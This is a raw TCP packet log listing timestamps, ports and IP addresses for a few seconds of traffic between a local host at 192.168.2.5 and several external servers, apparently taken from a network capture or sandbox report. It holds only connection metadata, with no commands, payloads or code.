Nov 24, 2024 23:24:45.222217083 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.229451895 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.229490042 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.229526997 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.229531050 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.229553938 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.238727093 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.238743067 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.238817930 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.238826990 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.247754097 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.247770071 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.247838974 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.247845888 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.247855902 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.247885942 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.247914076 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.378349066 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.378376961 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.378387928 CET	49869	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.378395081 CET	443	49869	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.402026892 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.402195930 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.402282953 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.409746885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:45.410482883 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.411387920 CET	49867	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.411406040 CET	443	49867	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.413415909 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:45.413502932 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:45.413578033 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:45.414238930 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:45.414274931 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:45.422674894 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.422681093 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.422693968 CET	49870	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.422698975 CET	443	49870	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.425822973 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.425843000 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.425904989 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.431233883 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.431267023 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.431417942 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.432585001 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.432593107 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.432698011 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.433007956 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.433022022 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.436386108 CET	49866	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:45.436394930 CET	443	49866	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:45.467036963 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:45.467078924 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:45.467148066 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:45.467684031 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:45.467698097 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:45.486516953 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.486532927 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.486665964 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.486684084 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.527247906 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.527328014 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.527451038 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.527708054 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.527720928 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.527729034 CET	49871	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.527734041 CET	443	49871	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.529963970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:45.532790899 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.532823086 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.532903910 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.533222914 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.533236027 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.804682970 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.805335045 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.805355072 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.805810928 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:45.805816889 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:45.866358995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:45.866429090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:45.879946947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:45.999413013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:46.002438068 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.002482891 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.002574921 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.002904892 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.002927065 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.012456894 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.012743950 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.012758970 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.013115883 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.013480902 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.013541937 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.013725996 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.013784885 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.013803959 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.032696009 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.033257961 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:46.033276081 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.033988953 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:46.033993959 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.034024954 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:46.034032106 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.070488930 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.070871115 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.070889950 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.071263075 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.071818113 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.071890116 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.072041988 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.072119951 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.072134972 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.292232990 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:46.292309999 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:46.292413950 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:46.293996096 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:46.293996096 CET	49872	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:46.294013023 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:46.294023037 CET	443	49872	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:46.303033113 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:46.303069115 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:46.303145885 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:46.303517103 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:46.303530931 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:46.520172119 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.520261049 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.520343065 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.520859957 CET	49874	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.520875931 CET	443	49874	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.610001087 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.610085011 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.610141993 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.610615015 CET	49875	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:46.610630989 CET	443	49875	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:46.834512949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:46.834599972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:46.872385025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:46.990044117 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.990063906 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.990094900 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.990180016 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:46.990200996 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.991846085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:46.996455908 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:46.996474028 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.996483088 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:46.996601105 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.996630907 CET	443	49873	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:46.997019053 CET	49873	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:47.043780088 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:47.043808937 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:47.044095993 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:47.044805050 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:47.044819117 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:47.268167973 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.268771887 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.268783092 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.269265890 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.269278049 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.273430109 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.273988962 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.274015903 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.274632931 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.274637938 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.320744991 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.321049929 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.321110010 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.322175026 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.322263002 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.322537899 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.322632074 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.322812080 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.322812080 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.322841883 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.322890997 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.334602118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:47.334741116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:47.337727070 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.338712931 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.338737965 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.339211941 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.339217901 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.340064049 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:47.346323967 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.346764088 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.346772909 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.347431898 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.347435951 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.372621059 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.402699947 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.403580904 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.403593063 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.405056953 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.405138016 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.405586004 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.405679941 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.405894041 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.405903101 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.405929089 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.405996084 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.456095934 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.459547997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:47.459659100 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:47.469526052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:47.589019060 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:47.702701092 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.702830076 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.702902079 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.703100920 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.703118086 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.703130007 CET	49878	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.703138113 CET	443	49878	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.706114054 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.706193924 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.706406116 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.706556082 CET	49886	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.706573009 CET	443	49886	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.718585968 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.718662977 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.718861103 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.718904972 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.718904972 CET	49877	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.718919039 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.718924046 CET	443	49877	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.721689939 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.721720934 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.722027063 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.722173929 CET	49887	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.722187996 CET	443	49887	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.735522032 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:47.735701084 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:47.735754013 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:47.772013903 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:47.772087097 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:47.772167921 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:47.782224894 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.782289028 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.782517910 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.782777071 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.782790899 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.782795906 CET	49881	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.782804966 CET	443	49881	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.785847902 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.785882950 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.786125898 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.786339045 CET	49888	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.786365032 CET	443	49888	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.790246010 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.790330887 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.790457010 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.790534019 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.790546894 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.790558100 CET	49879	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.790563107 CET	443	49879	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.792675972 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.792697906 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.793387890 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.793659925 CET	49889	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:47.793673038 CET	443	49889	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:47.919780970 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.919863939 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.919931889 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.920381069 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.920418024 CET	443	49876	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.920459032 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.920490026 CET	49876	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.926255941 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.926527977 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.926668882 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.926753044 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.926753044 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.926776886 CET	443	49880	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.926830053 CET	49880	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.958298922 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.969796896 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.969808102 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.971060038 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.971115112 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.971482992 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.971566916 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.972269058 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.972269058 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:47.972281933 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:47.972347975 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:48.013097048 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:48.119033098 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.123735905 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.123750925 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.124454021 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.124459982 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.319720984 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:48.319789886 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:48.319932938 CET	49809	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:48.352638960 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:48.352695942 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:48.352754116 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:48.564424038 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.564500093 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.564810038 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.564872980 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.564872980 CET	49883	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.564909935 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.564937115 CET	443	49883	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.568883896 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.568919897 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.569120884 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.569328070 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:48.569339037 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:48.615130901 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:48.615282059 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:48.615336895 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:48.615762949 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:48.615777969 CET	443	49882	20.189.173.8	192.168.2.5
Nov 24, 2024 23:24:48.615786076 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:48.615839005 CET	49882	443	192.168.2.5	20.189.173.8
Nov 24, 2024 23:24:48.835653067 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.835694075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.835721970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.835803986 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.836137056 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.836189985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.836209059 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.836251020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.836286068 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.836528063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.836555004 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.836565971 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.836590052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.836590052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.836627960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.837116957 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.837214947 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:48.837225914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.837259054 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:48.944350004 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:48.946501017 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:48.946516991 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:48.947244883 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:48.947251081 CET	443	49884	40.126.53.11	192.168.2.5
Nov 24, 2024 23:24:48.947273016 CET	49884	443	192.168.2.5	40.126.53.11
Nov 24, 2024 23:24:48.947282076 CET	443	49884	40.126.53.11	192.168.2.5
